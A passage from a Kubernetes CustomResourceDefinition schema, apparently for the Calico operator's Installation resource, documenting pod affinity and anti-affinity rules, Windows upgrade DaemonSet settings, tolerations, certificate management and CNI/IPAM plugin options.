                                                          Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      namespaceSelector:
                                                        description: |-
                                                          A label query over the set of namespaces that the term applies to.
                                                          The term is applied to the union of the namespaces selected by this field
                                                          and the ones listed in the namespaces field.
                                                          null selector and null or empty namespaces list means "this pod's namespace".
                                                          An empty selector ({}) matches all namespaces.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      namespaces:
                                                        description: |-
                                                          namespaces specifies a static list of namespace names that the term applies to.
                                                          The term is applied to the union of the namespaces listed in this field
                                                          and the ones selected by namespaceSelector.
                                                          null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      topologyKey:
                                                        description: |-
                                                          This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                          the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                          whose value of the label with key topologyKey matches that of any node on which any of the
                                                          selected pods is running.
                                                          Empty topologyKey is not allowed.
                                                        type: string
                                                    required:
                                                    - topologyKey
                                                    type: object
                                                  weight:
                                                    description: |-
                                                      weight associated with matching the corresponding podAffinityTerm,
                                                      in the range 1-100.
                                                    format: int32
                                                    type: integer
                                                required:
                                                - podAffinityTerm
                                                - weight
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                            requiredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                If the affinity requirements specified by this field are not met at
                                                scheduling time, the pod will not be scheduled onto the node.
                                                If the affinity requirements specified by this field cease to be met
                                                at some point during pod execution (e.g. due to a pod label update), the
                                                system may or may not try to eventually evict the pod from its node.
                                                When there are multiple elements, the lists of nodes corresponding to each
                                                podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                              items:
                                                description: |-
                                                  Defines a set of pods (namely those matching the labelSelector
                                                  relative to the given namespace(s)) that this pod should be
                                                  co-located (affinity) or not co-located (anti-affinity) with,
                                                  where co-located is defined as running on a node whose value of
                                                  the label with key <topologyKey> matches that of any node on which
                                                  a pod of the set of pods is running
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          type: object
                                        podAntiAffinity:
                                          description: Describes pod anti-affinity
                                            scheduling rules (e.g. avoid putting this
                                            pod in the same node, zone, etc. as some
                                            other pod(s)).
                                          properties:
                                            preferredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                The scheduler will prefer to schedule pods to nodes that satisfy
                                                the anti-affinity expressions specified by this field, but it may choose
                                                a node that violates one or more of the expressions. The node that is
                                                most preferred is the one with the greatest sum of weights, i.e.
                                                for each node that meets all of the scheduling requirements (resource
                                                request, requiredDuringScheduling anti-affinity expressions, etc.),
                                                compute a sum by iterating through the elements of this field and adding
                                                "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                                node(s) with the highest sum are the most preferred.
                                              items:
                                                description: The weights of all of
                                                  the matched WeightedPodAffinityTerm
                                                  fields are added per-node to find
                                                  the most preferred node(s)
                                                properties:
                                                  podAffinityTerm:
                                                    description: Required. A pod affinity
                                                      term, associated with the corresponding
                                                      weight.
                                                    properties:
                                                      labelSelector:
                                                        description: |-
                                                          A label query over a set of resources, in this case pods.
                                                          If it's null, this PodAffinityTerm matches with no Pods.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      matchLabelKeys:
                                                        description: |-
                                                          MatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                          Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      mismatchLabelKeys:
                                                        description: |-
                                                          MismatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                          Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      namespaceSelector:
                                                        description: |-
                                                          A label query over the set of namespaces that the term applies to.
                                                          The term is applied to the union of the namespaces selected by this field
                                                          and the ones listed in the namespaces field.
                                                          null selector and null or empty namespaces list means "this pod's namespace".
                                                          An empty selector ({}) matches all namespaces.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      namespaces:
                                                        description: |-
                                                          namespaces specifies a static list of namespace names that the term applies to.
                                                          The term is applied to the union of the namespaces listed in this field
                                                          and the ones selected by namespaceSelector.
                                                          null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      topologyKey:
                                                        description: |-
                                                          This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                          the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                          whose value of the label with key topologyKey matches that of any node on which any of the
                                                          selected pods is running.
                                                          Empty topologyKey is not allowed.
                                                        type: string
                                                    required:
                                                    - topologyKey
                                                    type: object
                                                  weight:
                                                    description: |-
                                                      weight associated with matching the corresponding podAffinityTerm,
                                                      in the range 1-100.
                                                    format: int32
                                                    type: integer
                                                required:
                                                - podAffinityTerm
                                                - weight
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                            requiredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                If the anti-affinity requirements specified by this field are not met at
                                                scheduling time, the pod will not be scheduled onto the node.
                                                If the anti-affinity requirements specified by this field cease to be met
                                                at some point during pod execution (e.g. due to a pod label update), the
                                                system may or may not try to eventually evict the pod from its node.
                                                When there are multiple elements, the lists of nodes corresponding to each
                                                podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                              items:
                                                description: |-
                                                  Defines a set of pods (namely those matching the labelSelector
                                                  relative to the given namespace(s)) that this pod should be
                                                  co-located (affinity) or not co-located (anti-affinity) with,
                                                  where co-located is defined as running on a node whose value of
                                                  the label with key <topologyKey> matches that of any node on which
                                                  a pod of the set of pods is running
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          type: object
                                      type: object
                                    containers:
                                      description: |-
                                        Containers is a list of calico-windows-upgrade containers.
                                        If specified, this overrides the specified calico-windows-upgrade DaemonSet containers.
                                        If omitted, the calico-windows-upgrade DaemonSet will use its default values for its containers.
                                      items:
                                        description: CalicoWindowsUpgradeDaemonSetContainer
                                          is a calico-windows-upgrade DaemonSet container.
                                        properties:
                                          name:
                                            description: Name is an enum which identifies
                                              the calico-windows-upgrade DaemonSet
                                              container by name.
                                            enum:
                                            - calico-windows-upgrade
                                            type: string
                                          resources:
                                            description: |-
                                              Resources allows customization of limits and requests for compute resources such as cpu and memory.
                                              If specified, this overrides the named calico-windows-upgrade DaemonSet container's resources.
                                              If omitted, the calico-windows-upgrade DaemonSet will use its default value for this container's resources.
                                            properties:
                                              claims:
                                                description: |-
                                                  Claims lists the names of resources, defined in spec.resourceClaims,
                                                  that are used by this container.
                                                  This is an alpha field and requires enabling the
                                                  DynamicResourceAllocation feature gate.
                                                  This field is immutable. It can only be set for containers.
                                                items:
                                                  description: ResourceClaim references
                                                    one entry in PodSpec.ResourceClaims.
                                                  properties:
                                                    name:
                                                      description: |-
                                                        Name must match the name of one entry in pod.spec.resourceClaims of
                                                        the Pod where this field is used. It makes that resource available
                                                        inside a container.
                                                      type: string
                                                    request:
                                                      description: |-
                                                        Request is the name chosen for a request in the referenced claim.
                                                        If empty, everything from the claim is made available, otherwise
                                                        only the result of this request.
                                                      type: string
                                                  required:
                                                  - name
                                                  type: object
                                                type: array
                                                x-kubernetes-list-map-keys:
                                                - name
                                                x-kubernetes-list-type: map
                                              limits:
                                                additionalProperties:
                                                  anyOf:
                                                  - type: integer
                                                  - type: string
                                                  pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                                  x-kubernetes-int-or-string: true
                                                description: |-
                                                  Limits describes the maximum amount of compute resources allowed.
                                                  More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                                type: object
                                              requests:
                                                additionalProperties:
                                                  anyOf:
                                                  - type: integer
                                                  - type: string
                                                  pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                                  x-kubernetes-int-or-string: true
                                                description: |-
                                                  Requests describes the minimum amount of compute resources required.
                                                  If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                                  otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                                  More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                                type: object
                                            type: object
                                        required:
                                        - name
                                        type: object
                                      type: array
                                    nodeSelector:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        NodeSelector is the calico-windows-upgrade pod's scheduling constraints.
                                        If specified, each of the key/value pairs are added to the calico-windows-upgrade DaemonSet nodeSelector provided
                                        the key does not already exist in the object's nodeSelector.
                                        If omitted, the calico-windows-upgrade DaemonSet will use its default value for nodeSelector.
                                        WARNING: Please note that this field will modify the default calico-windows-upgrade DaemonSet nodeSelector.
                                      type: object
                                    tolerations:
                                      description: |-
                                        Tolerations is the calico-windows-upgrade pod's tolerations.
                                        If specified, this overrides any tolerations that may be set on the calico-windows-upgrade DaemonSet.
                                        If omitted, the calico-windows-upgrade DaemonSet will use its default value for tolerations.
                                        WARNING: Please note that this field will override the default calico-windows-upgrade DaemonSet tolerations.
                                      items:
                                        description: |-
                                          The pod this Toleration is attached to tolerates any taint that matches
                                          the triple <key,value,effect> using the matching operator <operator>.
                                        properties:
                                          effect:
                                            description: |-
                                              Effect indicates the taint effect to match. Empty means match all taint effects.
                                              When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute.
                                            type: string
                                          key:
                                            description: |-
                                              Key is the taint key that the toleration applies to. Empty means match all taint keys.
                                              If the key is empty, operator must be Exists; this combination means to match all values and all keys.
                                            type: string
                                          operator:
                                            description: |-
                                              Operator represents a key's relationship to the value.
                                              Valid operators are Exists and Equal. Defaults to Equal.
                                              Exists is equivalent to wildcard for value, so that a pod can
                                              tolerate all taints of a particular category.
                                            type: string
                                          tolerationSeconds:
                                            description: |-
                                              TolerationSeconds represents the period of time the toleration (which must be
                                              of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default,
                                              it is not set, which means tolerate the taint forever (do not evict). Zero and
                                              negative values will be treated as 0 (evict immediately) by the system.
                                            format: int64
                                            type: integer
                                          value:
                                            description: |-
                                              Value is the taint value the toleration matches to.
                                              If the operator is Exists, the value should be empty, otherwise just a regular string.
                                            type: string
                                        type: object
                                      type: array
                                  type: object
                              type: object
                          type: object
                      type: object
                    certificateManagement:
                      description: |-
                        CertificateManagement configures pods to submit a CertificateSigningRequest to the certificates.k8s.io/v1beta1 API in order
                        to obtain TLS certificates. This feature requires that you bring your own CSR signing and approval process, otherwise
                        pods will be stuck during initialization.
                      properties:
                        caCert:
                          description: Certificate of the authority that signs the
                            CertificateSigningRequests in PEM format.
                          format: byte
                          type: string
                        keyAlgorithm:
                          description: |-
                            Specify the algorithm used by pods to generate a key pair that is associated with the X.509 certificate request.
                            Default: RSAWithSize2048
                          enum:
                          - ""
                          - RSAWithSize2048
                          - RSAWithSize4096
                          - RSAWithSize8192
                          - ECDSAWithCurve256
                          - ECDSAWithCurve384
                          - ECDSAWithCurve521
                          type: string
                        signatureAlgorithm:
                          description: |-
                            Specify the algorithm used for the signature of the X.509 certificate request.
                            Default: SHA256WithRSA
                          enum:
                          - ""
                          - SHA256WithRSA
                          - SHA384WithRSA
                          - SHA512WithRSA
                          - ECDSAWithSHA256
                          - ECDSAWithSHA384
                          - ECDSAWithSHA512
                          type: string
                        signerName:
                          description: |-
                            When a CSR is issued to the certificates.k8s.io API, the signerName is added to the request in order to accommodate for clusters
                            with multiple signers.
                            Must be formatted as: `<my-domain>/<my-signername>`.
                          type: string
                      required:
                      - caCert
                      - signerName
                      type: object
                    cni:
                      description: CNI specifies the CNI that will be used by this
                        installation.
                      properties:
                        ipam:
                          description: |-
                            IPAM specifies the pod IP address management that will be used in the Calico or
                            Calico Enterprise installation.
                          properties:
                            type:
                              description: |-
                                Specifies the IPAM plugin that will be used in the Calico or Calico Enterprise installation.
                                * For CNI Plugin Calico, this field defaults to Calico.
                                * For CNI Plugin GKE, this field defaults to HostLocal.
                                * For CNI Plugin AzureVNET, this field defaults to AzureVNET.
                                * For CNI Plugin AmazonVPC, this field defaults to AmazonVPC.
                                The IPAM plugin is installed and configured only if the CNI plugin is set to Calico,
                                for all other values of the CNI plugin the plugin binaries and CNI config is a dependency
                                that is expected to be installed separately.
                                Default: Calico
                              enum:
                              - Calico
                              - HostLocal
                              - AmazonVPC
                              - AzureVNET
                              type: string
                          required:
                          - type
                          type: object
                        type:
                          description: |-
                            Specifies the CNI plugin that will be used in the Calico or Calico Enterprise installation.
                            * For KubernetesProvider GKE, this field defaults to GKE.
                            * For KubernetesProvider AKS, this field defaults to AzureVNET.
                            * For KubernetesProvider EKS, this field defaults to AmazonVPC.
                            * If aws-node daemonset exists in kube-system when the Installation resource is created, this field defaults to AmazonVPC.
                            * For all other cases this field defaults to Calico.
                            For the value Calico, the CNI plugin binaries and CNI config will be installed as part of deployment,
                            for all other values the CNI plugin binaries and CNI config is a dependency that is expected
                            to be installed separately.
                            Default: Calico
                          enum:
                          - Calico
                          - GKE
                          - AmazonVPC
                          - AzureVNET
                          type: string
                      required:
                      - type
                      type: object
                    componentResources:
                      description: |-
                        Deprecated. Please use CalicoNodeDaemonSet, TyphaDeployment, and KubeControllersDeployment.
                        ComponentResources can be used to customize the resource requirements for each component.
                        Node, Typha, and KubeControllers are supported for installations.
                      items:
                        description: |-
                          Deprecated. Please use component resource config fields in Installation.Spec instead.
                          The ComponentResource struct associates a ResourceRequirements with a component by name
                        properties:
                          componentName:
                            description: ComponentName is an enum which identifies
                              the component
                            enum:
                            - Node
                            - Typha
                            - KubeControllers
                            type: string
                          resourceRequirements:
                            description: ResourceRequirements allows customization
                              of limits and requests for compute resources such as
                              cpu and memory.
                            properties:
                              claims:
                                description: |-
                                  Claims lists the names of resources, defined in spec.resourceClaims,
                                  that are used by this container.
                                  This is an alpha field and requires enabling the
                                  DynamicResourceAllocation feature gate.
                                  This field is immutable. It can only be set for containers.
                                items:
                                  description: ResourceClaim references one entry
                                    in PodSpec.ResourceClaims.
                                  properties:
                                    name:
                                      description: |-
                                        Name must match the name of one entry in pod.spec.resourceClaims of
                                        the Pod where this field is used. It makes that resource available
                                        inside a container.
                                      type: string
                                    request:
                                      description: |-
                                        Request is the name chosen for a request in the referenced claim.
                                        If empty, everything from the claim is made available, otherwise
                                        only the result of this request.
                                      type: string
                                  required:
                                  - name
                                  type: object
                                type: array
